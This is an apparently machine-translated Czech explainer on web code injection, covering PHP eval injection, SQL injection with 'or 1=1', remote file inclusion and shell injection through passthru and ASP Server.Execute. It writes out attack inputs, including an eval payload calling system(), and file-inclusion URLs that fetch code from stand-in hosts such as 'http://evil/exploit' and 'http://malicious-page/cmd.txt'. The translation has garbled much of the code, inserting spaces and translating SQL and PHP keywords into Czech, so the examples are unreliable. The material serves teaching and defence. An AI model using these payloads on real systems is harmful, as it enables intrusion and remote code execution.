Direct Dynamic Code Evaluation (Eval Injection)
Tento útok se skládá ze skriptu, který není řádně ověřit uživatele vstupy v parametru stránky. Vzdálený uživatel může dodat speciálně vytvořenou adresu URL předat libovolný kód na eval () prohlášení, které má za následek spuštění kódu.
Poznámka 1: Tento útok spustí kód se stejným oprávněním jako službu cílovou stránku, včetně příkazů operačního systému.
Poznámka 2: Eval injekce je převládající v rutině / odeslání postupy, které by mohly chtít vyvolat velké množství funkcí, nebo nastavit velké množství proměnných.
TBD
V tomto příkladu útočník může ovládat všechny nebo část vstupního řetězce, který je dodán do eval () volání funkce
$ MyVar = "varname"; $ X = $ _GET ['arg']; eval ("\ $ myVar = \ $ x;");
Argument "eval" budou zpracovány jako PHP, takže další příkazy mohou být připojeny. Například, pokud "arg" je nastavena na "10; systém (\" / bin / echo uh-oh \ "),", dodatečný kód run, který vykonává program na serveru, v tomto případě "/ bin / echo ".
Následující příklad SQL Injection . Zvažte webovou stránku, která má dvě pole umožňují uživatelům zadat uživatelské jméno a heslo. Kód za stránku bude generovat SQL dotazu pro kontrolu hesla proti seznam uživatelských jmen:
SELECT UserList.Username Z Seznam uživatelů KDE UserList.Username = 'Uživatelské jméno' A UserList.Password = 'Heslo'
Pokud tento dotaz vrátí přesně jeden řádek, pak je přístup povolen. Nicméně, pokud uživatel se zlými úmysly zadá platné uživatelské jméno a napíchne nějaký platný kód ("'nebo 1 = 1") do pole Heslo, pak výsledný dotaz bude vypadat takto:
SELECT UserList.Username Z Seznam uživatelů KDE UserList.Username = 'Uživatelské jméno' A UserList.Password = 'Heslo' nebo '1 '= '1'
Ve výše uvedeném příkladu, je "Heslo" Předpokládá se, že prázdné nebo nějaký neškodný řetězec. "1 = 1" bude vždy pravdivé a mnoho řádků bude vrácen, což umožní přístup. V konečném znění obrácené čárky budou ignorovány analyzátor SQL. Technika může být zdokonalen, aby umožnil více příkazy ke spuštění, nebo dokonce k načtení a spuštění externích programů.
Toto je příklad souboru, který byl injikován. Zvažte tento program PHP (která zahrnuje soubor určený na požádání):
<? Php $ Color = 'blue'; if (isset ($ _GET ['color'])) $ Color = $ _GET ['color']; vyžadují ($ color 'php. ".); > <form> <select name="COLOR"> <option value="red"> červená </ option> <option value="blue"> modrá </ option> </ Select> <input type="submit"> </ Form>
Developer myslel, že toto by zajistilo, že pouze blue.php a red.php mohl být načten. Ale jak někdo může jednoduše vložit libovolné hodnoty v barvě, je možné aplikovat kód ze souborů:
/ Vulnerable.php COLOR =? http://evil/exploit
- vstřikuje vzdáleně hostované soubor obsahující exploit./ Vulnerable.php COLOR =? C: \ ftp \ nahrání \ využít
- vstřikuje si nahraný soubor obsahující exploit.? / Vulnerable.php COLOR = .. \ .. \ .. \ .. \ ftp \ nahrání \ využít
- vstřikuje si nahraný soubor obsahující exploit, pomocí Path Traversal .? / Vulnerable.php COLOR = C: \ notes.txt% 00
- příklad použití znak NULL, Meta charakter odstranit PHP.
příponu, která umožňuje přístup k ostatním souborům, než PHP.. (PHP nastavení "magic_quotes_gpc = On", což je výchozí hodnota, zastaví tento útok)Jednoduchý URL, které ukazuje způsob, jak dělat toto útok:
http://some-page/any-dir/index.php?page = <include ($ s);?> & s = http://malicious-page/cmd.txt?
Shell Injection platí pro většinu systémů, které umožňují software programově spustit příkazový řádek. Typické zdroje Injection Shell jsou hovory system (), StartProcess (), java.lang.Runtime.exec () a podobné API.
Zvažte následující krátký PHP program, který běží externí program s názvemfunnytext nahradit slovo uživatel pošle s jiným slovem.
<HTML> <? Php passthru ("/ home / user / phpguru / funnytext" . $ _GET ['USER_INPUT']); >
Tento program může být aplikován v několika způsoby:
PHP nabízí escapeshellarg () a EscapeShellCmd () provést kódování před voláním metody. Nicméně, není doporučeno důvěřovat tyto metody musí být bezpečné - také ověřovat / dezinfikuje vstup.
Následující kód je citlivá na eval () injekci, protože nejsou dezinfekci vstup uživatele (v tomto případě: "jméno"). Program jen uloží tento vstup do txt souboru, a pak server bude tento soubor spustit bez ověření. V tomto případě musí uživatel je schopen vložit místo příkazu uživatelského jména.
Příklad:
<% Pokud tomu tak není IsEmpty (Request ("username")) Then Const ForReading = 1, ForWriting = 2, ForAppending = 8 Dim FSO, f Nastavit FSO = CreateObject ("Scripting.FileSystemObject") Set f = fso.OpenTextFile (Server.MapPath ("userlog.txt"), ForAppending, True) f.Write Request ("username") & vbCrLf f.close Nastavit f = nic Nastavit FSO = Nothing %> <h1> Seznam přihlášených uživatelů: </ h1> <pre> <% Server.Execute ("userlog.txt") %> </ Pre> <% Jiný %> <form> <input name="username" /> <input type="submit" name="submit" /> </ Form> <% End If %>